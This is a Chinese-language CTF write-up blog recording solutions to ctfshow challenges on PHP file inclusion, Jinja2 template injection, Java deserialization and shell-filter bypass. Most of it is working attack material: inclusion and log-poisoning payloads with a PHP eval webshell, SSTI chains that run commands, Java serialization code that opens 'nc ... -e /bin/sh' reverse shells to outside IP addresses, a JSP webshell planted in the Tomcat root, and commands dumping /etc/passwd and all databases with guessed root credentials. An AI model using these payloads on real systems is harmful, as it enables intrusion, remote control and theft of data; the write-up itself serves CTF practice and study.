ctfshow做题记录[未完成]

一些做题记录


文件包含部分:

web78

无任何过滤:

1
?file=php://filter/convert.base64-encode/resource=flag.php

web79

过滤了php,直接读文件是不行了,考虑data伪协议执行命令(base64编码):

1
2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//<?php system('cat flag.php');

或者:

1
?file=data://text/plain,<?=`tac f*`;?>

就是利用php里的短标签。<?= ?>相当于<?php echo ?>

另外str_replace是区分大小写的:

1
2
3
4
5
6
7
8
9
<?php
$file = "phpPHPpHpPhP";
$file1 = str_replace("php", "???", $file);
echo $file1;
echo '----------------';
$file2 = str_ireplace("php", "???", $file);
echo $file2;
?>
//结果:???PHPpHpPhP----------------????????????

所以解法还有:

1
2
3
?file=Php://input

POST执行的数据

web80

过滤了dataphp的大小写。。这里要用远程包含/日志包含:

日志包含

个人理解就是通过include和日志文件中的特定内容配合(include把啥东西都当php读)

日志文件常见路径:

1
2
3
/var/log/apache/access.log
/var/log/nginx/access.log
/var/log/nginx/error.log

只有第二个有正常的回显:

ctfshow80

存在UA头,所以直接把UA头修改成:

1.<?php system('ls');?><?php system('cat fl0g.php');?>传过去再刷新下网页就行

2.<?php @eval($_POST['a']); ?> a=system('cat fl0g.php');

web81

比之前多了个:,还是上一题的日志包含(主要是禁了input那个方法)。

web82

web88

/i模式匹配的大小写,=也被过滤了。这里还是用79那里的data伪协议执行命令:

1
2
3
4
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=  
<?php system('tac fl0g.php'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
//因为等号被过滤了所以转base64后再去掉等号
1

SSTI部分:

web361

无任何过滤:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

web362

同上:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

web363

应该是过滤了单引号双引号:

头要么用config,要么用(),过滤了引号可以(这个单双引号好像没法用十六进制去表示):

ctfshowweb363_1

把之前payload中带引号的都放到request.args.path中就行:

1
?name={{config.__class__.__init__.__globals__[request.args.x1].popen(request.args.x2).read()}}&x1=os&x2=cat /flag

web364

应该是在上题的基础上过滤了args,搜了下还可以用cookie传值

参考文章

1
2
3
4
payload
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

这个x当开头第一次见:

ctfshowweb364_1

config的话类中__init__函数全局变量中已经导入了”os”模块,可以直接调用。

1
2
3
?name={{config.__class__.__init__.__globals__[request.cookies.x1].popen(request.cookies.x2).read()}}
//hackbar直接传:
Cookie: x1=os;x2=cat /flag //Cookie不用加

web365

在之前的基础上过滤了中括号:

__getitem__ 方法是 Python 对象的一个内建方法,当你使用中括号 [] 来访问对象的元素时,实际上是调用了这个方法。

对于字典来说,使用 __getitem__ 方法,你可以这样获取字典中的键值:

1
2
3
my_dict = {'key1': 'value1', 'key2': 'value2'}
result = my_dict.__getitem__('key1') # 或者直接写作 result = my_dict['key1']
print(result)

所以:

1
2
3
?name={{config.__class__.__init__.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}}
//hackbar直接传:
Cookie: x1=os;x2=cat /flag //Cookie不用加

web366

过滤了下划线:

参考文章

使用 foo|attr("bar") 可以获取对象 foo 的属性 bar 的值,类似于 foo.bar 的用法。

所以:

1
2
3
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

简单说还是利用请求参数进行逃逸

web367

同上

web368

又过滤了双大括号,但{%%}这东西并没有过滤。

参考文章

不过注意要加上print,不然只会执行命令,没回显。在上一题基础上修改就行:

1
2
3
/?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

还有其它解法(其实就是把上面的拆开了:

1
2
3
name={%set aaa=(x|attr(request.cookies.in)|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu)%}{% print(aaa.eval(request.cookies.cmd))%}

in=init;gl=globals;ge=getitem;bu=builtins;cmd=import('os').popen('cat /f*').read()

web369

又过滤了request,直接抄了yu师傅的:

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

反序列化部分

web254

组件漏洞

web580

838

838_1

存在任意文件下载,本来想读/proc/self/environ看当前工作目录的,结果直接把flag读了:

838_2

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<!-- 应用程序显示名称 -->
<display-name>Archetype Created Web Application</display-name>

<!-- 上下文参数配置 -->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<!-- 监听器配置 -->
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<!-- 过滤器配置 -->
<filter>
<filter-name>charset</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>utf-8</param-value>
</init-param>
</filter>

<!-- 过滤器映射 -->
<filter-mapping>
<filter-name>charset</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<!-- Servlet 配置 -->
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<!-- Servlet 映射 -->
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

dispatcher-servlet.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">

<context:annotation-config />

<mvc:annotation-driven/>


<mvc:resources mapping="/layui/**" location="/WEB-INF/static/layui/" />
<mvc:resources mapping="/images/**" location="/WEB-INF/static/images/" />
<mvc:resources mapping="/css/**" location="/WEB-INF/static/css/" />

<mvc:default-servlet-handler />


<bean id="defaultViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/>
<property name="prefix" value="/WEB-INF/views/"/>
<property name="suffix" value=".jsp"/>
<property name="exposeContextBeansAsAttributes" value="true"/>
</bean>

<!-- IndexController-->
<context:component-scan base-package="com.ctfshow.controller"/>
</beans>

包路径com.ctfshow.controller,控制器文件名IndexController,下这个IndexController.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.ctfshow.controller;

import com.ctfshow.entity.User;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping({"/"})
public class IndexController {
public IndexController() {
}

@RequestMapping(
value = {"/"},
method = {RequestMethod.GET}
)
public String index() {
return "index";
}

@RequestMapping(
value = {"/"},
method = {RequestMethod.POST}
)
@ResponseBody
public String index(HttpServletRequest request) {
User user = null;

try {
byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
ObjectInputStream safeObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
user = (User)safeObjectInputStream.readUnshared();
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
return "User class can not unserialize";
} catch (Exception var6) {
var6.printStackTrace();
return "unserialize error";
}

return "unserialize done, you username is " + user.getUsername();
}
}

存在反序列化入口,再去下这个User类:com.ctfshow.entity.User包中的user.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Objects;

public class User implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String username;
private String password;
private String email;
private String address;

public User() {
}

public int getId() {
return this.id;
}

public void setId(int id) {
this.id = id;
}

public String getUsername() {
return this.username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return this.password;
}

public void setPassword(String password) {
this.password = password;
}

public boolean equals(Object o) {
if (this == o) {
return true;
} else if (o != null && this.getClass() == o.getClass()) {
User user = (User)o;
return Objects.equals(this.username, user.username) && Objects.equals(this.password, user.password);
} else {
return false;
}
}

public int hashCode() {
return Objects.hash(new Object[]{this.id, this.username, this.password});
}

public String getEmail() {
return this.email;
}

public void setEmail(String email) {
this.email = email;
}

public boolean isNull() {
if (null != this.username && !this.username.isEmpty()) {
return null == this.password || this.password.isEmpty();
} else {
return true;
}
}

private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
input.defaultReadObject();
Class.forName(this.username).getMethod(this.email, String.class).invoke(Class.forName(this.username).getMethod(this.password).invoke(Class.forName(this.username)), this.address);
}
}

重写的readObject存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void exp() throws IOException {
User user = new User();
user.setUsername("java.lang.Runtime");
user.setPassword("getRuntime");
user.setEmail("exec");
user.setAddress("nc 172.16.8.233 3333 -e /bin/sh");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(byteArrayOutputStream);
os.writeObject(user);
os.close();

String payload = new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
System.out.println(payload);
}

843

下载源码,pom.xmlproperties没啥好东西,config.class存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class Config implements Serializable {
private static final long serialVersionUID = 1L;
private String name = "";
private String path = "";
private String execute;
private String[] args;

public Config() {
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

public String getPath() {
return this.path;
}

public void setPath(String path) {
this.path = path;
}

public String getExecute() {
return this.execute;
}

public void setExecute(String execute) {
this.execute = execute;
}

public String[] getArgs() {
return this.args;
}

public void setArgs(String[] args) {
this.args = args;
}

private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
input.defaultReadObject();
(new ProcessBuilder(this.args)).start();
}
}

CookieFilter.class存在反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@WebFilter(
filterName = "CookieFilter",
urlPatterns = {"/*"}
)
@Order(Integer.MAX_VALUE)
public class CookieFilter implements Filter {
public CookieFilter() {
}

public void init(FilterConfig filterConfig) throws ServletException {
}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String token = CookieUtil.getCookieValue((HttpServletRequest)servletRequest, "token", true);
if (null != token && token != "") {
token = URLDecoder.decode(token, "UTF-8");
token = token.replace(" ", "+");
byte[] base = Base64.getDecoder().decode(token.getBytes(StandardCharsets.UTF_8));
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(base));

try {
User user = (User)objectInputStream.readObject();
if (null != user && user.getUsername().equals("admin")) {
servletRequest.setAttribute("user", user);
}
} catch (ClassNotFoundException var9) {
throw new RuntimeException(var9);
}
} else {
User user = new User("guest");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
String cookieToken = new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
cookieToken = URLEncoder.encode(cookieToken, "UTF-8");
CookieUtil.setCookie((HttpServletRequest)servletRequest, (HttpServletResponse)servletResponse, "token", cookieToken);
}

filterChain.doFilter(servletRequest, servletResponse);
}

public void destroy() {
}
}

反序列化后的那个强转没啥影响,还是先序列化一个恶意的Config类序列化后传给token,再反序列化即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

public class ConfigTest {

public static void main(String[] args) throws IOException {
Config config = new Config();
config.setArgs(new String[]{"/bin/sh","-c","echo '<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>'>/usr/local/tomcat/webapps/ROOT/1.jsp"});

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(config);

System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
objectOutputStream.close();

}
}
//rO0ABXNyACFjbGFzc2VzLmNvbS5jdGZzaG93LmVudGl0eS5Db25maWcAAAAAAAAAAQIABFsABGFyZ3N0ABNbTGphdmEvbGFuZy9TdHJpbmc7TAAHZXhlY3V0ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wABG5hbWVxAH4AAkwABHBhdGhxAH4AAnhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAA3QABy9iaW4vc2h0AAItY3QAXWVjaG8gJzwlPVJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIobmV3IFN0cmluZyhuZXcgYnl0ZVtdezk3fSkpKSU+Jz4xLmpzcHB0AABxAH4ACQ==

这里token写过去会报错,可以看到是类型转换出了问题,但对我们解题没啥影响:

843_1

然后1.jsp?a=nc 43.132.254.165 9001 -e sh即可。但这里有个问题,我不知道他这个当前运行目录/usr/local/tomcat/webapps/ROOT/是怎么拿的,但如果直接>1.jsp还行不通。。。

上面是wp的解法,其实也不用这么麻烦,既然都能执行命令了直接在ConfigTest反弹shell就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

public class ConfigTest {

public static void main(String[] args) throws IOException {
Config config = new Config();
config.setArgs(new String[]{"/bin/sh","-c","nc 43.129.97.84 9001 -e sh"});

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(config);

System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
objectOutputStream.close();

}
}

844

给了个web.war文件,这东西直接解压就能拿META-INFWEB-INF,打开看看:

IndexController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
@Controller
@RequestMapping({"/"})
public class IndexController {
public IndexController() {
}

@RequestMapping(
value = {"/"},
method = {RequestMethod.GET},
produces = {"text/html;charset=utf-8"}
)
public ModelAndView index() {
ModelAndView modelAndView = new ModelAndView();
modelAndView.setViewName("index");
return modelAndView;
}

@RequestMapping(
value = {"/goPage"},
method = {RequestMethod.GET}
)
@ResponseBody
public String goPage(@RequestParam Map<String, String> param) {
String result = "";
String request = "";
String url = (String)param.get("url");
String port = (String)param.get("port");
if (null != url && null != param && !param.isEmpty()) {
try {
Socket socket = new Socket(url, Integer.valueOf(port));
OutputStream out = socket.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));

Map.Entry p;
for(Iterator var9 = param.entrySet().iterator(); var9.hasNext(); request = request + (String)p.getKey() + (String)p.getValue() + "\r\n") {
p = (Map.Entry)var9.next();
}

out.write(request.getBytes());

String line;
while((line = in.readLine()) != null) {
result = result + line;
}
} catch (Exception var11) {
var11.printStackTrace();
result = "request error";
}

return result;
} else {
result = "url error";
return result;
}
}
}

sanic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#/src
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash

# Initialize Sanic application
app = Sanic(__name__)
app.static("/static/", "./static/")

# Initialize session middleware
Session(app)

# Dummy class used for dynamic attribute assignment
class Pollute:
def __init__(self):
pass

# Serve the index.html page
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return await html.open('static/index.html').read()


# Login route
@app.route("/login", methods=['POST'])
async def login(request):
user = request.cookies.get("user")
if user and user.lower() == 'adm;n': # Check if user cookie is 'adm;n'
request.ctx.session['admin'] = True # Set 'admin' session variable
return text("login success")
return text("login fail")


# Route to serve the source code of this script
@app.route("/src")
async def src(request):
return text(open(__file__).read())


# Admin route
@app.route("/admin", methods=['POST'])
async def admin(request):
# Check if the user has admin session
if request.ctx.session.get('admin') == True:
try:
data = request.json
key = data.get('key')
value = data.get('value')

if key and value and isinstance(key, str) and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value) # Set key-value pair in pollute object
return text("success")
else:
return text("forbidden")
except Exception as e:
print(f"Exception in admin route: {e}")
return text("error")
else:
return text("forbidden")


# Run the Sanic application
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

先看/login路由:

sanic_1

他会把cookie字段中user对应的值转成小写之后和adm;n比较,如果相等会把请求会话中admin的值设为True,这里因为有个分号所以给user字段赋值的时候不能直接赋成分号。

一开始以为问题出在lower这个方法上了,以为什么特殊字符lower后直接变成分号了。捣鼓了半天没弄出来,看了其它师傅的wp才知道这里用个八进制编码就行:

参考文章

1
user="adm\073n"

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

ddhexdump没被ban,这两个都能读/etc/passwd

cmd=dd if=/etc/passwd(注意倒数第二个mysql用户)

simple_php_1

cmd=hexdump /etc/passwd

simple_php_2

mysql --version可以确认存在数据库服务:

1
mysql Ver 15.1 Distrib 10.4.13-MariaDB, for Linux (x86_64) using readline 5.

弱口令用户名 root 密码 root, 连接到 MySQL 数据库。导出所有数据库的内容然后嗯搜flag

1
cmd=mysqldump -uroot -proot --all-databases

simple_php_4

学了些其他师傅的解法.

首先利用burpsuite传参(利用%0a换行符)能进行命令执行:

simple_php_5

或者通过反弹shell参考文章


ctfshow做题记录[未完成]
http://example.com/2024/03/01/做题记录_SSTI/
作者
notbad3
发布于
2024年3月1日
许可协议